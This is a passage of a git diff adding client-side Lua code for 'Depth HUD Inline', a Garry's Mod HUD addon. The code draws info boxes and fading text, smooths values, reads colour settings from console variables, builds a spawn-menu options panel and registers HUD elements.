stringPredefName == "color_back" then return dhinline_dat.ui_backcolor + else return nil end +end + +function dhinline_StringNiceNameTransform( stringInput ) + local stringParts = string.Explode("_",stringInput) + local stringOutput = "" + for k,part in pairs(stringParts) do + local len = string.len(part) + if (len == 1) then + stringOutput = stringOutput .. string.upper(part) + elseif (len > 1) then + stringOutput = stringOutput .. string.Left(string.upper(part),1) .. string.Right(part,len-1) + end + if (k != #stringParts) then stringOutput = stringOutput .. " " end + end + return stringOutput +end + +function dhinline_GetAppropriateFont(text, desiredChoice) + local font = "" + desiredChoice = desiredChoice or 2 + if (desiredChoice == -1) then + if type(text) == "number" then + font = "dhinline_hl2nummedium" + else + font = "dhinline_textmediumbold" + end + elseif (desiredChoice >= 2) then + if type(text) == "number" then + font = "dhinline_hl2num" + else + font = "dhinline_textlarge" + end + + elseif (desiredChoice == 1) then + if type(text) == "number" then + font = "dhinline_hl2nummedium" + else + font = "dhinline_textmedium" + end + else + if type(text) == "number" then + font = "dhinline_hl2numsmall" + else + font = "dhinline_textsmall" + end + end + if (dhinline_dat.ui_blendfonts <= 0) then + font = font .. "_noblend" + end + return font +end + +/////////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////// +//// DRAWING FUNCTIONS. DO NOT USE IN YOUR ELEMENTS. +//// READ cl_dhinline_element.lua FOR DRAWING FUNCTIONS +//// AND _empty._lua . + +function dhinline_DrawSprite(sprite, x, y, width, height, angle, r, g, b, a) + local spriteid = 0 + if ( type(sprite) == "string" ) then + spriteid = surface.GetTextureID(sprite) + else + spriteid = sprite + end + + surface.SetTexture(spriteid) + surface.SetDrawColor(r, g, b, a) + surface.DrawTexturedRectRotated(x, y, width, height, angle) +end + +//The font changes if the text is a number or not. +//If it is a number, it will take the best version of the font, that is the HL2 one. +//If not, it will take a similar, lesser quality version, that allows alphabetical characters. + +function dhinline_DrawGenericInfobox(xRel, yRel, width, height, text, smallText, rate, boxIsAtRight, falseColor, trueColor, minSize, maxSize, blinkBelowRate, blinkSize, mainFontChoice, useStaticTextColor, opt_textColor, opt_smallTextColor) + local dispell = nil + + //We have to calccenter using the real sizes despite dispell will be true or not + local xCenter,yCenter = dhinline_CalcCenter( xRel , yRel , width , height ) + //Should Dispell? + if (blinkSize > 1.0) then + dispell = math.Clamp(blinkSize - 1.0, 0, 1) + + if dispell > 0.95 then return end + + width = (1.0 + dispell*0.5) * width + height = (1.0 + dispell*0.5) * height + + blinkSize = -1 + end + local inEdgeSpacing = math.floor((height * (1 - dhinline_dat.ui_innerSquareProportions)) * 0.5) + local innerSquare = height * dhinline_dat.ui_innerSquareProportions + local xBox ,yBox = 0,0 + local xText,yText = 0,0 + local yTextSmall = 0 + local font = "" + local fontSmall = "" + local boxSize = -1 + local boxRound = -1 + local boxRevert = -1 + local backColor = dhinline_dat.ui_backcolor + local glowalpha = -1 + + //dhradar_DrawDebug(xCenter, yCenter, Color(255,0,0)) + + local boxBigSizeCalc = (height/44) + if boxBigSizeCalc <= 0.75 && boxBigSizeCalc > 0.5 then + boxRound = 6 + elseif boxBigSizeCalc <= 0.5 && boxBigSizeCalc > 0.25 then + boxRound = 4 + elseif boxBigSizeCalc <= 0.25 then + boxRound = 0 + else + boxRound = 8 + end + + //Back color + dhinline_dat.STOR_BackCalc.r = backColor.r + dhinline_dat.STOR_BackCalc.g = backColor.g + dhinline_dat.STOR_BackCalc.b = backColor.b + dhinline_dat.STOR_BackCalc.a = backColor.a + if dispell then + dhinline_dat.STOR_BackCalc.a = dhinline_dat.STOR_BackCalc.a * (1 - dispell) + end + + draw.RoundedBox(boxRound, dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_BOX + xCenter - width*0.5, dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_BOX + yCenter - height*0.5, width, height, dhinline_dat.STOR_BackCalc) + + rate = math.Clamp(rate,0,1) + local anti = 1 - rate + + trueColor = trueColor or dhinline_dat.ui_basecolor_lesser + falseColor = falseColor or dhinline_dat.ui_basecolor_lesser + + //BlendColor + dhinline_dat.STOR_BlendCalc.r = trueColor.r*rate + falseColor.r*anti + dhinline_dat.STOR_BlendCalc.g = trueColor.g*rate + falseColor.g*anti + dhinline_dat.STOR_BlendCalc.b = trueColor.b*rate + falseColor.b*anti + dhinline_dat.STOR_BlendCalc.a = trueColor.a*rate + falseColor.a*anti + + if dispell then + dhinline_dat.STOR_BlendCalc.a = dhinline_dat.STOR_BlendCalc.a * (1 - dispell) + end + + yBox = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_INBOX + yCenter - height*0.5 + inEdgeSpacing + yText = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_TEXT + yCenter - height*0.02 + yTextSmall = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_TEXT + yCenter/* + height*0.15*/ + height*0.40 + + if not boxIsAtRight then + xBox = dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_INBOX + xCenter - width*0.5 + inEdgeSpacing + xText = dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_TEXT + xCenter + height*0.5 + else + xBox = dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_INBOX + xCenter + width*0.5 - inEdgeSpacing - innerSquare + xText = dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_TEXT + xCenter - height*0.5 + end + + if (rate <= blinkBelowRate) then + dhinline_dat.STOR_BlendCalc.a = dhinline_dat.STOR_BlendCalc.a * (RealTime() % PARAM_BLINK_PERIOD) * (1/PARAM_BLINK_PERIOD) + boxSize = blinkSize + else + boxSize = maxSize*rate + minSize*anti + end + local boxSizeCalc = boxSize*(innerSquare/32) + if boxSizeCalc <= 0.75 && boxSizeCalc > 0.5 then + boxRound = 6 + elseif boxSizeCalc <= 0.5 && boxSizeCalc > 0.25 then + boxRound = 4 + elseif boxSizeCalc <= 0.25 then + boxRound = 0 + else + boxRound = 8 + end + boxRevert = (innerSquare - boxSize*innerSquare)*0.5 + + draw.RoundedBox(boxRound, xBox+boxRevert, yBox+boxRevert, boxSize*innerSquare, boxSize*innerSquare, dhinline_dat.STOR_BlendCalc) + if (dhinline_dat.ui_drawglow > 0) then + glowalpha = dhinline_dat.ui_glowalpharel*(dhinline_dat.STOR_BlendCalc.a/255) + dhinline_DrawSprite(dhinline_dat.tex_glow, xBox+innerSquare*0.5, yBox+innerSquare*0.5, boxSize*innerSquare*dhinline_dat.ui_glowrelsize, boxSize*innerSquare*dhinline_dat.ui_glowrelsize, 0, dhinline_dat.STOR_BlendCalc.r*glowalpha, dhinline_dat.STOR_BlendCalc.g*glowalpha, dhinline_dat.STOR_BlendCalc.b*glowalpha, 255) + end + + local textColor = opt_textColor or dhinline_dat.ui_basecolor + local textColorSmall = opt_smallTextColor or textColor + if useStaticTextColor or false then + //textColor + dhinline_dat.STOR_TextColorCalc.r = textColor.r + dhinline_dat.STOR_TextColorCalc.g = textColor.g + dhinline_dat.STOR_TextColorCalc.b = textColor.b + dhinline_dat.STOR_TextColorCalc.a = textColor.a + + //textSmallColor + dhinline_dat.STOR_TextSmallColCalc.r = textColorSmall.r + dhinline_dat.STOR_TextSmallColCalc.g = textColorSmall.g + dhinline_dat.STOR_TextSmallColCalc.b = textColorSmall.b + dhinline_dat.STOR_TextSmallColCalc.a = textColorSmall.a + + textColor = dhinline_dat.STOR_TextColorCalc + textColorSmall = dhinline_dat.STOR_TextSmallColCalc + else + //textColor + dhinline_dat.STOR_TextColorCalc.r = dhinline_dat.STOR_BlendCalc.r + dhinline_dat.STOR_TextColorCalc.g = dhinline_dat.STOR_BlendCalc.g + dhinline_dat.STOR_TextColorCalc.b = dhinline_dat.STOR_BlendCalc.b + dhinline_dat.STOR_TextColorCalc.a = 192 + + //textSmallColor + dhinline_dat.STOR_TextSmallColCalc.r = dhinline_dat.STOR_TextColorCalc.r + dhinline_dat.STOR_TextSmallColCalc.g = dhinline_dat.STOR_TextColorCalc.g + dhinline_dat.STOR_TextSmallColCalc.b = dhinline_dat.STOR_TextColorCalc.b + dhinline_dat.STOR_TextSmallColCalc.a = dhinline_dat.STOR_TextColorCalc.a + + textColor = dhinline_dat.STOR_TextColorCalc + textColorSmall = dhinline_dat.STOR_TextSmallColCalc + end + + if dispell then + textColor.a = textColor.a * (1 - dispell) + textColorSmall.a = textColorSmall.a * (1 - dispell) + end + + font = dhinline_GetAppropriateFont(text, mainFontChoice) + draw.SimpleText(text, font, xText, yText, textColor, 1, 1 ) + + if (smallText != "") then + fontSmall = dhinline_GetAppropriateFont(smallText,0) + draw.SimpleText(smallText, fontSmall, xText, yTextSmall, textColorSmall, 1, 1 ) + end +end + +function dhinline_DrawVolatile( xRel, yRel, width, height, xRelOffset, yRelOffset, text, textColor, lagMultiplier, fontChoice) + local xCalc, yCalc = dhinline_CalcCenter( xRel , yRel , width , height ) + local xCalcOffset, yCalcOffset = xRelOffset*0.5*width, yRelOffset*0.5*height + + xCalc, yCalc = xCalc + xCalcOffset + dhinline_dat.ui_hudlag.x*lagMultiplier , yCalc + yCalcOffset + dhinline_dat.ui_hudlag.y*lagMultiplier + + + //dhradar_DrawDebug(xCalc, yCalc, Color(0,255,0)) + + local font = dhinline_GetAppropriateFont(text, fontChoice) + draw.SimpleText(text, font, xCalc, yCalc, textColor, 1, 1 ) +end + +function dhinline_DrawGenericContentbox(xRel, yRel, width, height, text, smallText, textColor, textColorSmall, fontChoice) + local xCenter,yCenter = dhinline_CalcCenter( xRel , yRel , width , height , fontChoice) + + local xText,yText = 0,0 + local yTextSmall = 0 + local fontSmall = "" + + //dhradar_DrawDebug(xCenter, yCenter, Color(255,0,0)) + + + local boxSizeCalc = (height/44) + local boxRound = 8 + if boxSizeCalc <= 0.75 && boxSizeCalc > 0.5 then + boxRound = 6 + elseif boxSizeCalc <= 0.5 && boxSizeCalc > 0.25 then + boxRound = 4 + elseif boxSizeCalc <= 0.25 then + boxRound = 0 + else + boxRound = 8 + end + + draw.RoundedBox(boxRound, dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_BOX + xCenter - width*0.5, dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_BOX + yCenter - height*0.5, width, height, dhinline_dat.ui_backcolor) + + textColor = textColor or dhinline_dat.ui_basecolor + textColorSmall = textColorSmall or textColor + + yText = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_TEXT + yCenter - height*0.02 + yTextSmall = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_TEXT + yCenter + height*0.40 + + xText = dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_TEXT + xCenter + + local font = dhinline_GetAppropriateFont(text, fontChoice) + draw.SimpleText(text, font, xText, yText, textColor, 1, 1 ) + + if (smallText != "") then + local fontSmall = dhinline_GetAppropriateFont(smallText, 0) + draw.SimpleText(smallText, fontSmall, xText, yTextSmall, textColorSmall, 1, 1 ) + end +end + +function dhinline_DrawGenericText(xRel, yRel, width, height, text, smallText, textColor, textColorSmall, fontChoice, lagMultiplier, insideBoxXEquirel, insideBoxYEquirel) + local xCenter,yCenter = dhinline_CalcCenter( xRel , yRel , width , height , fontChoice) + textColor = textColor or dhinline_dat.ui_basecolor + textColorSmall = textColorSmall or textColor + + xText = dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_TEXT + xCenter + insideBoxXEquirel*0.5*width + + yText = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_TEXT + yCenter - height*0.02 + insideBoxYEquirel*0.5*height + yTextSmall = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_TEXT + yCenter + height*0.40 + insideBoxYEquirel*0.5*height + + local font = dhinline_GetAppropriateFont(text, fontChoice) + draw.SimpleText(text, font, xText, yText, textColor, 1, 1 ) + + if (smallText != "") then + local fontSmall = dhinline_GetAppropriateFont(smallText, 0) + draw.SimpleText(smallText, fontSmall, xText, yTextSmall, textColorSmall, 1, 1 ) + end +end + +/////////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////// +//// VOLATILE ACCUMULATION FUNCTIONS. DO NOT USE IN YOUR ELEMENTS. +//// READ cl_dhinline_element.lua FOR VOLATILE FUNCTIONS. + +function dhinline_GetVolatileStorage(name) + if (dhinline_dat.STOR_HUDPATCH_Volatile[name] == nil) then + return nil + end + return dhinline_dat.STOR_HUDPATCH_Volatile[name][10] or nil +end + +function dhinline_UpdateVolatile(name, xRel, yRel, width, height, xRelOffset, yRelOffset, text, textColor, lagMultiplier, fontChoice, duration, fadePower, storage) + dhinline_dat.STOR_HUDPATCH_Volatile[name] = {} + dhinline_dat.STOR_HUDPATCH_Volatile[name][1] = xRel + dhinline_dat.STOR_HUDPATCH_Volatile[name][2] = yRel + dhinline_dat.STOR_HUDPATCH_Volatile[name][3] = text + dhinline_dat.STOR_HUDPATCH_Volatile[name][4] = textColor + dhinline_dat.STOR_HUDPATCH_Volatile[name][5] = lagMultiplier + dhinline_dat.STOR_HUDPATCH_Volatile[name][6] = duration + dhinline_dat.STOR_HUDPATCH_Volatile[name][7] = fadePower + dhinline_dat.STOR_HUDPATCH_Volatile[name][8] = fontChoice + dhinline_dat.STOR_HUDPATCH_Volatile[name][9] = RealTime() + dhinline_dat.STOR_HUDPATCH_Volatile[name][10] = storage + dhinline_dat.STOR_HUDPATCH_Volatile[name][11] = width + dhinline_dat.STOR_HUDPATCH_Volatile[name][12] = height + dhinline_dat.STOR_HUDPATCH_Volatile[name][13] = xRelOffset + dhinline_dat.STOR_HUDPATCH_Volatile[name][14] = yRelOffset +end + +local function dhinline_DrawVolatiles() + for name,subtable in pairs(dhinline_dat.STOR_HUDPATCH_Volatile) do + if (subtable[1] != nil) then + local timeSpawned = dhinline_dat.STOR_HUDPATCH_Volatile[name][9] + local duration = dhinline_dat.STOR_HUDPATCH_Volatile[name][6] + + if ((RealTime() - timeSpawned) > duration) then + dhinline_dat.STOR_HUDPATCH_Volatile[name] = {nil} + else + local stayedUpRel = (RealTime() - timeSpawned) / duration + + local xRel = dhinline_dat.STOR_HUDPATCH_Volatile[name][1] + local yRel = dhinline_dat.STOR_HUDPATCH_Volatile[name][2] + local text = dhinline_dat.STOR_HUDPATCH_Volatile[name][3] + local lagMultiplier = dhinline_dat.STOR_HUDPATCH_Volatile[name][5] + local fadePower = dhinline_dat.STOR_HUDPATCH_Volatile[name][7] + local fontChoice = dhinline_dat.STOR_HUDPATCH_Volatile[name][8] + local width = dhinline_dat.STOR_HUDPATCH_Volatile[name][11] + local height = dhinline_dat.STOR_HUDPATCH_Volatile[name][12] + local xRelOffset = dhinline_dat.STOR_HUDPATCH_Volatile[name][13] + local yRelOffset = dhinline_dat.STOR_HUDPATCH_Volatile[name][14] + + local textColor = Color(dhinline_dat.STOR_HUDPATCH_Volatile[name][4].r, dhinline_dat.STOR_HUDPATCH_Volatile[name][4].g, dhinline_dat.STOR_HUDPATCH_Volatile[name][4].b, dhinline_dat.STOR_HUDPATCH_Volatile[name][4].a) + textColor.a = textColor.a * (1 - (stayedUpRel^fadePower)) + + dhinline_DrawVolatile(xRel, yRel, width, height, xRelOffset, yRelOffset, text, textColor, lagMultiplier, fontChoice) + end + end + + end +end + +function dhinline_DeleteAllVolatiles() + dhinline_dat.STOR_HUDPATCH_Volatile = {} +end + +/////////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////// +//// SMOOTHING FUNCTIONS. DO NOT USE IN YOUR ELEMENTS. +//// READ cl_dhinline_element.lua FOR SMOOTHING FUNCTIONS. + +function dhinline_CreateSmoother(strName, numInit, numRate) + --[[{Target, Current, Rate} + if dhinline_dat.STOR_Smoothers[strName] then return end + numRate = math.Clamp(numRate,0.001,1) ]] + local numCurrent = nil + if type(numInit) == "table" then + numCurrent = table.Copy(numInit) + else + numCurrent = numInit + end + dhinline_dat.STOR_Smoothers[strName] = {numInit, numCurrent, numRate} +end + +function dhinline_ChangeSmootherTarget(strName, numTarget) + if not dhinline_dat.STOR_Smoothers[strName] then print("dhinline ERROR : ChangeSmootherTarget has requested field " .. strName .." which hasn't been created !") return end + dhinline_dat.STOR_Smoothers[strName][1] = numTarget +end + +function dhinline_ChangeSmootherRate(strName, numRate) + if not dhinline_dat.STOR_Smoothers[strName] then print("dhinline ERROR : ChangeSmootherRate has requested field " .. strName .." which hasn't been created !") return end + dhinline_dat.STOR_Smoothers[strName][3] = numRate +end + +function dhinline_GetSmootherCurrent(strName) + if not dhinline_dat.STOR_Smoothers[strName] then print("dhinline ERROR : GetSmootherCurrent has requested field " .. strName .." which hasn't been created !") return nil end + return dhinline_dat.STOR_Smoothers[strName][2] +end + + + +local function dhinline_RecalcAllSmoothers() + local previousCurrent = 0 + for name,subtable in pairs(dhinline_dat.STOR_Smoothers) do + if (type(dhinline_dat.STOR_Smoothers[name][2]) == "table") then + for subkey,value in pairs(dhinline_dat.STOR_Smoothers[name][2]) do + previousCurrent = dhinline_dat.STOR_Smoothers[name][2][subkey] + dhinline_dat.STOR_Smoothers[name][2][subkey] = dhinline_dat.STOR_Smoothers[name][2][subkey] + (dhinline_dat.STOR_Smoothers[name][1][subkey] - dhinline_dat.STOR_Smoothers[name][2][subkey]) * dhinline_dat.STOR_Smoothers[name][3] * FrameTime() * 50 + if (previousCurrent < dhinline_dat.STOR_Smoothers[name][1][subkey]) and (dhinline_dat.STOR_Smoothers[name][2][subkey] > dhinline_dat.STOR_Smoothers[name][1][subkey]) then + dhinline_dat.STOR_Smoothers[name][2][subkey] = dhinline_dat.STOR_Smoothers[name][1][subkey] + elseif (previousCurrent > dhinline_dat.STOR_Smoothers[name][1][subkey]) and (dhinline_dat.STOR_Smoothers[name][2][subkey] < dhinline_dat.STOR_Smoothers[name][1][subkey]) then + dhinline_dat.STOR_Smoothers[name][2][subkey] = dhinline_dat.STOR_Smoothers[name][1][subkey] + end + end + else + dhinline_dat.STOR_Smoothers[name][2] = dhinline_dat.STOR_Smoothers[name][2] + (dhinline_dat.STOR_Smoothers[name][1] - dhinline_dat.STOR_Smoothers[name][2]) * math.Clamp( dhinline_dat.STOR_Smoothers[name][3] * 0.5 * FrameTime() * 50 , 0 , 1 ) + end + end +end + +function dhinline_DeleteAllSmoothers() + dhinline_dat.STOR_Smoothers = {} +end + + +local function dhinline_DrawElements() + for k,name in pairs( dhinline_dat.STOR_ElementNamesTable ) do + local ELEMENT = dhinline.Get(name) + if (ELEMENT and ( GetConVarNumber( "dhinline_element_" .. name ) > 0 ) and ELEMENT.DrawFunction) then + ELEMENT:DrawFunction( ) + end + end +end + + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// +//// THE MAIN HOOK - THINK . + +function dhinline_InitializeMisc() + dhinline_CreateSmoother("__dynamicbackground",color_white,0.05) +end + +function dhinlineHUDPaint(name) + if GetConVarNumber("dhinline_enable") <= 0 then return end + + dhinline_dat.ui_edgeSpacingRel = GetConVarNumber("dhinline_ui_spacing") * 0.015 + dhinline_dat.ui_hudlag.mul = GetConVarNumber("dhinline_ui_hudlag_mul") + dhinline_dat.ui_hudlag.retab = GetConVarNumber("dhinline_ui_hudlag_retab") + + dhinline_dat.ui_drawglow = GetConVarNumber("dhinline_ui_drawglow") + dhinline_dat.ui_blendfonts = GetConVarNumber("dhinline_ui_blendfonts") + + dhinline_dat.ui_basecolor.r = GetConVarNumber("dhinline_col_base_r") + dhinline_dat.ui_basecolor.g = GetConVarNumber("dhinline_col_base_g") + dhinline_dat.ui_basecolor.b = GetConVarNumber("dhinline_col_base_b") + dhinline_dat.ui_basecolor.a = GetConVarNumber("dhinline_col_base_a") + + dhinline_dat.ui_basecolor_lesser.r = dhinline_dat.ui_basecolor.r + dhinline_dat.ui_basecolor_lesser.g = dhinline_dat.ui_basecolor.g + dhinline_dat.ui_basecolor_lesser.b = dhinline_dat.ui_basecolor.b + dhinline_dat.ui_basecolor_lesser.a = dhinline_dat.ui_basecolor.a*0.5 + + dhinline_dat.STOR_DynamicBackCalc.r = GetConVarNumber("dhinline_col_back_r") + dhinline_dat.STOR_DynamicBackCalc.g = GetConVarNumber("dhinline_col_back_g") + dhinline_dat.STOR_DynamicBackCalc.b = GetConVarNumber("dhinline_col_back_b") + dhinline_dat.STOR_DynamicBackCalc.a = GetConVarNumber("dhinline_col_back_a") + + if (GetConVarNumber("dhinline_ui_dynamicbackground") > 0) then + local lcolor = render.GetLightColor( EyePos() ) * 2 + lcolor.x = math.Clamp( lcolor.x, 0, 1 ) + lcolor.y = math.Clamp( lcolor.y, 0, 1 ) + lcolor.z = math.Clamp( lcolor.z, 0, 1 ) + + local lightlevel_darkness = ( 1 - (lcolor.x + lcolor.y + lcolor.z) / 3 ) * 0.3 + + local reflectcookie = math.cos(math.rad(2*EyeAngles().y+75)) * math.sin(math.rad(EyeAngles().p + 90)) * 0.2 + 0.8 + dhinline_dat.STOR_DynamicBackCalc.r = dhinline_dat.STOR_DynamicBackCalc.r + (255 - dhinline_dat.STOR_DynamicBackCalc.r) * lightlevel_darkness + dhinline_dat.STOR_DynamicBackCalc.g = dhinline_dat.STOR_DynamicBackCalc.g + (255 - dhinline_dat.STOR_DynamicBackCalc.g) * lightlevel_darkness + dhinline_dat.STOR_DynamicBackCalc.b = dhinline_dat.STOR_DynamicBackCalc.b + (255 - dhinline_dat.STOR_DynamicBackCalc.b) * lightlevel_darkness + dhinline_dat.STOR_DynamicBackCalc.a = dhinline_dat.STOR_DynamicBackCalc.a * reflectcookie + + //We shouldn't need that due to the pointer + dhinline_ChangeSmootherTarget("__dynamicbackground", dhinline_dat.STOR_DynamicBackCalc) + + dhinline_dat.ui_backcolor = dhinline_GetSmootherCurrent("__dynamicbackground") + else + dhinline_dat.ui_backcolor.r = dhinline_dat.STOR_DynamicBackCalc.r + dhinline_dat.ui_backcolor.g = dhinline_dat.STOR_DynamicBackCalc.g + dhinline_dat.ui_backcolor.b = dhinline_dat.STOR_DynamicBackCalc.b + dhinline_dat.ui_backcolor.a = dhinline_dat.STOR_DynamicBackCalc.a + end + + //Calc all required inline + dhinline_CalcHudLag() + dhinline_RecalcAllSmoothers() + + //Draw all the elements + dhinline_DrawElements() + dhinline_DrawVolatiles() +end +//hook.Add("HUDPaint","dhinlineHUDPaint",dhinlineHUDPaint) + +local function dhinlineHideHUD(name) + if GetConVarNumber("dhinline_disabledefault") <= 0 then return end + + if name == "CHudHealth" then return false end + if name == "CHudBattery" then return false end + if name == "CHudAmmo" then return false end + if name == "CHudSecondaryAmmo" then return false end +end +hook.Add("HUDShouldDraw","dhinlineHideHUD",dhinlineHideHUD) + + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// +//// PANEL . + + +function dhinline_dat.Panel(Panel) + Panel:AddControl("Checkbox", { + Label = "Enable", + Description = "Enable", + Command = "dhinline_enable" + } + ) + Panel:AddControl("Checkbox", { + Label = "Disable Base HUD", + Description = "Disable Base HUD", + Command = "dhinline_disabledefault" + } + ) + Panel:AddControl("Slider", { + Label = "HUD Lag", + Type = "Float", + Min = "0", + Max = "0.4", + Command = "dhinline_ui_hudlag" + } + ) + Panel:AddControl("Button", { + Label = "Reload Element Files", + Description = "Reload Element Files", + Command = "dhinline_reloadelements" + } + ) + Panel:AddControl("Button", { + Label = "Open Menu (dhinline_menu)", + Description = "Open Menu (dhinline_menu)", + Command = "dhinline_menu" + } + ) + + Panel:Help("To trigger the menu in any gamemode, type dhinline_menu in the console, or bind this command to any key.") +end + +function dhinline_dat.AddPanel() + spawnmenu.AddToolMenuOption("Options","Player","Depth HUD Inline","Depth HUD Inline","","",dhinline_dat.Panel,{SwitchConVar = 'dhinline_enable'}) +end + +hook.Add( "PopulateToolMenu", "AddDepthHUDInlinePanel", dhinline_dat.AddPanel ) + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// +//// STARTING UP . + +dhinline_LoadAllElements() + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// \ No newline at end of file diff --git a/Repos/HeXs_DepthHUD-master/lua/cl_dhinline_element.lua b/Repos/HeXs_DepthHUD-master/lua/cl_dhinline_element.lua new file mode 100644 index 0000000..4d5c22f --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/cl_dhinline_element.lua @@ -0,0 +1,199 @@ +//////////////////////////////////////////////// +// -- Depth HUD : Inline // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// The Element Module, to register easily // +//////////////////////////////////////////////// + +module( "dhinline", package.seeall ) + +local Elements = {} +local Elements_names = {} + + + +local ELEMENT = {} + +function ELEMENT:GetMyGridPos() + return GetConVarNumber("dhinline_element_" .. self._rawname .. "_x"), GetConVarNumber("dhinline_element_" .. self._rawname .. "_y") +end + +function ELEMENT:GetMySizes() + local xGeneric, yGeneric = dhinline_GetGenericBoxSizes() + local xSize, ySize = self.SizeX, self.SizeY + if ySize then + if (ySize < 0) then + ySize = yGeneric * (-ySize) + elseif (xSize == 0) then + ySize = yGeneric + end + else + ySize = yGeneric + end + if xSize then + if (xSize < 0) then + xSize = xGeneric * (-xSize) + elseif (xSize == 0) then + xSize = ySize or yGeneric + end + else + xSize = xGeneric + end + if xSize < ySize then + xSize = ySize + end + + + return xSize, ySize +end + +function ELEMENT:GetMySmootherFullName( stringSuffix ) + return self._rawname .. "_" .. stringSuffix +end + +function ELEMENT:CreateSmoother(stringSuffix, numInit, numRate) + dhinline_CreateSmoother( self:GetMySmootherFullName( stringSuffix ), numInit, numRate) +end + +function ELEMENT:ChangeSmootherTarget(stringSuffix, numTarget) + dhinline_ChangeSmootherTarget( self:GetMySmootherFullName( stringSuffix ), numTarget ) +end + +function ELEMENT:ChangeSmootherRate(stringSuffix, numRate) + dhinline_ChangeSmootherRate( self:GetMySmootherFullName( stringSuffix ), numRate ) +end + +function ELEMENT:GetSmootherCurrent(stringSuffix) + return dhinline_GetSmootherCurrent( self:GetMySmootherFullName( stringSuffix ) ) +end + +/* +function ELEMENT:GetMyConVarFullName( stringSuffix ) + return "dhinline_" .. self._rawname .. "_" .. stringSuffix +end + +function ELEMENT:MakeMyConVar( stringSuffix, valueDefault, bPersist, bSth) + CreateClientConVar( self:GetMyConVarFullName( stringSuffix ), valueDefault, bPersist, bSth) + if not self.__myConVarsDefaults then + self.__myConVarsDefaults = {} + end + self.__myConVarsDefaults[stringSuffix] = valueDefault; +end + +function ELEMENT:ForceChangeMyConVar( stringSuffix, value ) + RunConsoleCommand( self:GetMyConVarFullName( stringSuffix ) , value) +end + +function ELEMENT:ResetMyConVars( ) + if not self.__myConVarsDefaults then return end + + for suffix,value in pairs(self.__myConVars) do + self:ForceChangeMyConVar(suffix, self.__myConVarsDefaults[suffix]) + end +end + +function ELEMENT:CreateMyPanel( myDPanelList ) +end +*/ +function ELEMENT:DrawGenericInfobox(text, smallText, rate, boxIsAtRight, falseColor, trueColor, minSize, maxSize, blinkBelowRate, blinkSize, mainFontChoice, useStaticTextColor, opt_textColor, opt_smallTextColor) + + local xGrid, yGrid = self:GetMyGridPos() + local xRel , yRel = dhinline_GetRelPosFromGrid( xGrid, yGrid ) + + local width, height = self:GetMySizes() + + dhinline_DrawGenericInfobox(xRel, yRel, width, height, text, smallText, rate, boxIsAtRight, falseColor, trueColor, minSize, maxSize, blinkBelowRate, blinkSize, mainFontChoice, useStaticTextColor, opt_textColor, opt_smallTextColor) +end + + +function ELEMENT:DrawGenericContentbox(text, smallText, textColor, textColorSmall, fontChoice) + + local xGrid, yGrid = self:GetMyGridPos() + local xRel, yRel = dhinline_GetRelPosFromGrid( xGrid, yGrid ) + + local width, height = self:GetMySizes() + + dhinline_DrawGenericContentbox(xRel, yRel, width, height, text, smallText, textColor, textColorSmall, fontChoice) +end + +function ELEMENT:DrawGenericText(text, smallText, textColor, textColorSmall, fontChoice, lagMultiplier, insideBoxXEquirel, insideBoxYEquirel) + local xGrid, yGrid = self:GetMyGridPos() + local xRel, yRel = dhinline_GetRelPosFromGrid( xGrid, yGrid ) + + local width, height = self:GetMySizes() + + dhinline_DrawGenericText(xRel, yRel, width, height, text, smallText, textColor, textColorSmall, fontChoice, lagMultiplier, insideBoxXEquirel, insideBoxYEquirel) +end + +function ELEMENT:UpdateVolatile(name, xRelOffset, yRelOffset, text, textColor, lagMultiplier, fontChoice, duration, fadePower, storage) + local xGrid, yGrid = self:GetMyGridPos() + local xRel , yRel = dhinline_GetRelPosFromGrid( xGrid, yGrid ) + + local width, height = self:GetMySizes() + + dhinline_UpdateVolatile(name, xRel, yRel, width, height, xRelOffset, yRelOffset, text, textColor, lagMultiplier, fontChoice, duration, fadePower, storage) +end + + + +local element_meta = {__index=ELEMENT} + +function Register(name, element) + if string.find( name , " " ) then return end + + element._rawname = name + element.Name = element.Name or name + setmetatable(element, element_meta) + + Elements[name] = element + table.insert(Elements_names, name) + + /*local cstr = "" + if (element.DefaultOff or false) then + cstr = "0" + else + cstr = "1" + end*/ + CreateClientConVar("dhinline_element_" .. name, ( not (dhinline.Get(name).DefaultOff or false ) ) and "1" or "0", true, false) + CreateClientConVar("dhinline_element_" .. name .. "_x", element.DefaultGridPosX or 0, true, false) + CreateClientConVar("dhinline_element_" .. name .. "_y", element.DefaultGridPosY or 0, true, false) +end + +function RemoveAll() + Elements = {} + Elements_names = {} + + dhinline_DeleteAllSmoothers() + dhinline_DeleteAllVolatiles() +end + +function Get(name) + if Elements[name] == nil then return nil end + return Elements[name] or nil +end + +function GetNamesTable() + return table.Copy(Elements_names) +end + +function GetConVarTable() + local ConVars = {} + for k,name in pairs(Elements_names) do + table.insert(ConVars, "dhinline_element_" .. name) + table.insert(ConVars, "dhinline_element_" .. name .. "_x") + table.insert(ConVars, "dhinline_element_" .. name .. "_y") + end + return ConVars +end + +function GetAllDefaultsTable() + local Defaults = {} + for k,name in 